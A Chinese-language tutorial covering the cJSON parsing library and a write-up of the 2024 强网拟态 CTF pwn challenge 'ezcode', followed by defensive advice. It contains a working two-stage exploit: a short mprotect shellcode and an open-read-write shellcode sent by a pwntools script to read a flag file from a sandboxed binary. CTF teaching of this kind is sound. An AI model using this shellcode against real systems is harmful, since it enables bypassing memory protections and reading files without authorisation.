cJSON学习-强网拟态2024《ezcode》
字数 1996 2025-08-22 12:22:48

cJSON 解析与利用教学文档

1. JSON 基础

1.1 JSON 简介

JSON (JavaScript Object Notation) 是一种轻量级的数据交换格式,具有以下特点:

  • 独立于编程语言
  • 易于人阅读和编写
  • 易于机器解析和生成
  • 基于文本格式

1.2 JSON 数据结构

合法 JSON 对象示例:

{
  "name": "张三",
  "age": 18,
  "sex": "男"
}

复杂 JSON 对象示例(包含数组):

{
  "class_name": "计科一班",
  "student_num": 2,
  "student_info": [
    {
      "name": "张三",
      "age": 18,
      "sex": "男"
    },
    {
      "name": "李四",
      "age": 19,
      "sex": "男"
    }
  ]
}

2. cJSON 库

2.1 cJSON 简介

cJSON 是一个轻量级的 C 语言 JSON 解析库,功能包括:

  • 将 JSON 数据解析为 C 语言对象/数组
  • 将 C 数据结构转换为 JSON 字符串
  • 提供完整的 API 用于操作 JSON 数据

2.2 cJSON 结构体

typedef struct cJSON {
    struct cJSON *next, *prev;  // 链表指针
    struct cJSON *child;        // 子节点指针
    int type;                   // 数据类型标识
    char *valuestring;          // 字符串值
    int valueint;               // 整数值
    double valuedouble;         // 浮点数值
    char *string;               // 键名
} cJSON;

type 取值说明

  • 0: false
  • 1: true
  • 2: null
  • 3: number
  • 4: string
  • 5: array
  • 6: object

3. cJSON 核心 API

3.1 反序列化函数

函数 描述 返回值
cJSON_Parse 将 JSON 字符串反序列化为 cJSON 结构体 cJSON*
cJSON_GetObjectItem 获取 JSON 对象中的指定项 cJSON*
cJSON_GetArrayItem 获取 JSON 数组中的第 i 个项 cJSON*
cJSON_GetArraySize 获取 JSON 数组的大小 int
cJSON_Delete 删除 cJSON 结构体 void

示例代码

#include <stdio.h>
#include <stdlib.h>
#include "cJSON.h"

int main() {
    char buf[0x100];
    puts("Input data which type is JSON:");
    read(0, buf, 0x100);
    
    cJSON *ptr = cJSON_Parse(buf);
    printf("Creat_object:%s\n", cJSON_Print(ptr));
    
    if(ptr) {
        cJSON *pName = cJSON_GetObjectItem(ptr, "name");
        if(pName == NULL) exit(0);
        printf("name [%s]\n", pName->valuestring);
        
        // 其他字段处理...
    }
}

3.2 序列化函数

函数 描述 返回值
cJSON_CreateObject 创建 object 类型 JSON 项 cJSON*
cJSON_CreateArray 创建 array 类型 JSON 项 cJSON*
cJSON_CreateString 创建 string 类型 JSON 项 cJSON*
cJSON_CreateNumber 创建 number 类型 JSON 项 cJSON*
cJSON_AddItemToObject 添加项到 object void
cJSON_AddItemToArray 添加项到 array void
cJSON_Print 序列化为格式化的 JSON 字符串 char*
cJSON_PrintUnformatted 序列化为未格式化的 JSON 字符串 char*

示例代码

cJSON *GetJsonData(char *name, int age, char *sex) {
    cJSON *root = cJSON_CreateObject();
    cJSON_AddStringToObject(root, "name", name);
    cJSON_AddNumberToObject(root, "age", age);
    cJSON_AddStringToObject(root, "sex", sex);
    return root;
}

4. cJSON 在 PWN 中的应用

4.1 典型漏洞场景

  1. 内存管理问题

    • 未正确释放 cJSON 结构体导致内存泄漏
    • 对释放后的指针进行操作
  2. 类型混淆

    • 错误地访问 valueint 而不是 valuestring
  3. 缓冲区溢出

    • 处理超长字符串时缺乏边界检查

4.2 强网拟态2024《ezcode》分析

题目特点

  • 保护全开(RELRO, PIE, NX, Canary)
  • 沙盒环境(禁用 execve)
  • 通过 JSON 输入 shellcode
  • shellcode 以十六进制形式读取到 0x9998000
  • 执行区域只有可执行权限

利用思路

  1. 构造两阶段 shellcode:

    • 第一阶段(≤0x16字节):调用 mprotect 修改内存权限
    • 第二阶段:执行完整的 ORW(Open-Read-Write)操作
  2. 优化 shellcode 大小:

    • 使用短指令(如 mov al, 代替 mov eax)
    • 利用寄存器低位
    • 减少不必要的指令

关键 shellcode

payload = asm('''
    shl edi, 12;
    mov ax, 0xa;
    lea edx, [rax-3];
    syscall;
    xor eax, eax;
    xor edi, edi;
    mov dl, 0xff;
    mov esi, ecx;
    syscall;
''', arch='amd64')

完整利用流程

  1. 发送第一阶段 shellcode 通过 JSON
  2. 发送第二阶段 ORW shellcode
  3. 读取 flag 文件内容

EXP 示例

from pwn import *
import json

context(os='linux', arch='amd64', log_level='debug')

# 第一阶段 shellcode
payload = asm('''
    shl edi, 12;
    mov ax, 0xa;
    lea edx, [rax-3];
    syscall;
    xor eax, eax;
    xor edi, edi;
    mov dl, 0xff;
    mov esi, ecx;
    syscall;
''', arch='amd64')

# 发送 JSON 格式的 shellcode
form = {"shellcode": payload.hex()}
p.sendline(json.dumps(form))

# 第二阶段 ORW shellcode
shellcode = asm('''
    mov rax, 2
    mov rdi, 0x999800c
    xor rsi, rsi
    syscall
    
    mov rax, 0
    mov rdi, 3
    mov rsi, 0x9998800
    mov rdx, 0x30
    syscall
    
    mov rax, 1
    mov rdi, 1
    mov rsi, 0x9998800
    mov rdx, 0x30
    syscall
''', arch='amd64')

p.send((b'./flag\x00\x00\x00\x00' + shellcode).ljust(0xff, b'\x90'))
p.interactive()

5. 调试技巧

  1. IDA 分析

    • 识别 cJSON 结构体成员
    • 通过类型定义改善反编译效果
  2. GDB 调试

    • 在关键函数和 shellcode 执行处设置断点
    • 监控内存权限变化
  3. 内存布局检查

    • 使用 vmmap 查看内存权限
    • 验证 shellcode 写入位置

6. 防御建议

  1. 输入验证

    • 限制 JSON 输入大小
    • 验证字段类型
  2. 内存管理

    • 及时释放 cJSON 结构体
    • 使用安全的字符串处理函数
  3. 沙盒限制

    • 限制危险系统调用
    • 使用 seccomp 过滤
  4. 代码审计

    • 检查所有 cJSON API 调用
    • 验证指针使用情况
cJSON 解析与利用教学文档 1. JSON 基础 1.1 JSON 简介 JSON (JavaScript Object Notation) 是一种轻量级的数据交换格式,具有以下特点: 独立于编程语言 易于人阅读和编写 易于机器解析和生成 基于文本格式 1.2 JSON 数据结构 合法 JSON 对象示例: 复杂 JSON 对象示例(包含数组): 2. cJSON 库 2.1 cJSON 简介 cJSON 是一个轻量级的 C 语言 JSON 解析库,功能包括: 将 JSON 数据解析为 C 语言对象/数组 将 C 数据结构转换为 JSON 字符串 提供完整的 API 用于操作 JSON 数据 2.2 cJSON 结构体 type 取值说明 : 0: false 1: true 2: null 3: number 4: string 5: array 6: object 3. cJSON 核心 API 3.1 反序列化函数 | 函数 | 描述 | 返回值 | |------|------|--------| | cJSON_Parse | 将 JSON 字符串反序列化为 cJSON 结构体 | cJSON* | | cJSON_GetObjectItem | 获取 JSON 对象中的指定项 | cJSON* | | cJSON_GetArrayItem | 获取 JSON 数组中的第 i 个项 | cJSON* | | cJSON_GetArraySize | 获取 JSON 数组的大小 | int | | cJSON_Delete | 删除 cJSON 结构体 | void | 示例代码 : 3.2 序列化函数 | 函数 | 描述 | 返回值 | |------|------|--------| | cJSON_CreateObject | 创建 object 类型 JSON 项 | cJSON* | | cJSON_CreateArray | 创建 array 类型 JSON 项 | cJSON* | | cJSON_CreateString | 创建 string 类型 JSON 项 | cJSON* | | cJSON_CreateNumber | 创建 number 类型 JSON 项 | cJSON* | | cJSON_AddItemToObject | 添加项到 object | void | | cJSON_AddItemToArray | 添加项到 array | void | | cJSON_Print | 序列化为格式化的 JSON 字符串 | char* | | cJSON_PrintUnformatted | 序列化为未格式化的 JSON 字符串 | char* | 示例代码 : 4. cJSON 在 PWN 中的应用 4.1 典型漏洞场景 内存管理问题 : 未正确释放 cJSON 结构体导致内存泄漏 对释放后的指针进行操作 类型混淆 : 错误地访问 valueint 而不是 valuestring 缓冲区溢出 : 处理超长字符串时缺乏边界检查 4.2 强网拟态2024《ezcode》分析 题目特点 : 保护全开(RELRO, PIE, NX, Canary) 沙盒环境(禁用 execve) 通过 JSON 输入 shellcode shellcode 以十六进制形式读取到 0x9998000 执行区域只有可执行权限 利用思路 : 构造两阶段 shellcode: 第一阶段(≤0x16字节):调用 mprotect 修改内存权限 第二阶段:执行完整的 ORW(Open-Read-Write)操作 优化 shellcode 大小: 使用短指令(如 mov al, 代替 mov eax) 利用寄存器低位 减少不必要的指令 关键 shellcode : 完整利用流程 : 发送第一阶段 shellcode 通过 JSON 发送第二阶段 ORW shellcode 读取 flag 文件内容 EXP 示例 : 5. 调试技巧 IDA 分析 : 识别 cJSON 结构体成员 通过类型定义改善反编译效果 GDB 调试 : 在关键函数和 shellcode 执行处设置断点 监控内存权限变化 内存布局检查 : 使用 vmmap 查看内存权限 验证 shellcode 写入位置 6. 防御建议 输入验证 : 限制 JSON 输入大小 验证字段类型 内存管理 : 及时释放 cJSON 结构体 使用安全的字符串处理函数 沙盒限制 : 限制危险系统调用 使用 seccomp 过滤 代码审计 : 检查所有 cJSON API 调用 验证指针使用情况